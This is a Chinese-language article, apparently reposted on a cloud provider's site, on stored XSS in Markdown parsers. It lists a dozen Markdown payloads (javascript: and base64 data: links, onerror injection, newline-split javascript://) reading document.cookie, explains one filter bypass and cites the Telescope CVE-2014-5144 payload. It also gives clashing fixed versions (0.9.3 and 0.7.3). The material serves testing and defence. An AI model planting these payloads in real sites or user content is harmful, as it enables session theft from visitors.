您好,登錄后才能下訂單哦!
如何分析Markdown解析器的持久型XSS漏洞,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
什么是Markdown?
Markdown是一種輕量級的標記語言,流行程度已經(jīng)得到了GitHub和Stack Overflow的廣泛支持,作為普通人我們也可以輕松上手。
用markdown來寫文章非常贊,那些瑣碎的HTML標簽都可以拋到腦后不用管。最近5年內(nèi),markdown收到非常多的關注,包括Reddit,Github,StackOverflow在內(nèi)的很多應用都使用 markdown這也催生了很多的markdown解析器的產(chǎn)生,這里定義了一些markdown語法,語法約定markdown解析器將這些標簽解析為html標簽。
Markdown安全現(xiàn)狀
Markdown解析器的安全現(xiàn)狀如何?有沒有對用戶輸入的數(shù)據(jù)做過濾?
事實上,很多markdown解析器都沒有過濾用戶輸入的數(shù)據(jù),那么如果markdown被用于添加用戶評論等功能的時候,就有可能存在安全風險。
這里有一些關于這個問題的討論:[1], [2], [3].
另外,如果用googe搜索一下:
markdown xss issue site:github.com
你就會發(fā)現(xiàn)github上又很多***很高的項目都被發(fā)現(xiàn)存在XSS 漏洞。
所以,如何構造一些payload呢?看下面這些:
[a](javascript:prompt(document.cookie)) [a](j a v a s c r i p t:prompt(document.cookie)) ![a](javascript:prompt(document.cookie))\ <javascript:prompt(document.cookie)> <javascript:alert('XSS')> ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\ [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) [a](javascript:alert('XSS')) ![a'"`onerror=prompt(document.cookie)](x)\ [citelol]: (javascript:prompt(document.cookie)) [notmalicious](javascript:window.onerror=alert;throw%20document.cookie) [test](javascript://%0d%0aprompt(1)) [test](javascript://%0d%0aprompt(1);com)
上面這些payload是由Aleksa和原文作者一起搞出來的。在過去的12個月內(nèi),在實際滲透測試中證明,上面的這些 payload 是有效的。并且很多 markdown 解析器都受到影響。來看一下***一個payload:
[test](javascript://%0d%0aprompt(1);com)
我們猜測,markdown 解析器可能通過如下幾個步驟來進行解析&轉(zhuǎn)換:
判斷時候有協(xié)議頭?//有javascript 偽協(xié)議,Y
hostname 是以常見的域名后綴(com, org)結(jié)尾的?//是的,以 com 結(jié)尾 Y
將上述 payload 轉(zhuǎn)換為 HTML 標簽,//結(jié)果如下
<a href="javascript://%0d%0aprompt(1);com>test</a>
成功構造了一個XSS payload!當點擊了上述鏈接后,就會觸發(fā)XSS!
Telescope解析器一個持久性 XSS 漏洞(CVE-2014-5144)
Telescope是一個有名的開源項目,類似Reddit和Hackernews一樣,提供一個社區(qū)功能。Telescope的一個解析帖子&評論的功能存在 XSS 漏洞,并且這個功能存在很久了!
在0.9.3之前的版本中,以上面的 payload 列表中的 payload 發(fā)帖或者發(fā)表評論,就可以導致一個XSS漏洞。該漏洞已經(jīng)修復,Telescope在這里發(fā)了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/
下面是漏洞對應的payload:
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
注意:上述漏洞已經(jīng)在Telescope >= 0.7.3版本中修復了。
看完上述內(nèi)容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業(yè)資訊頻道,感謝您對億速云的支持。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。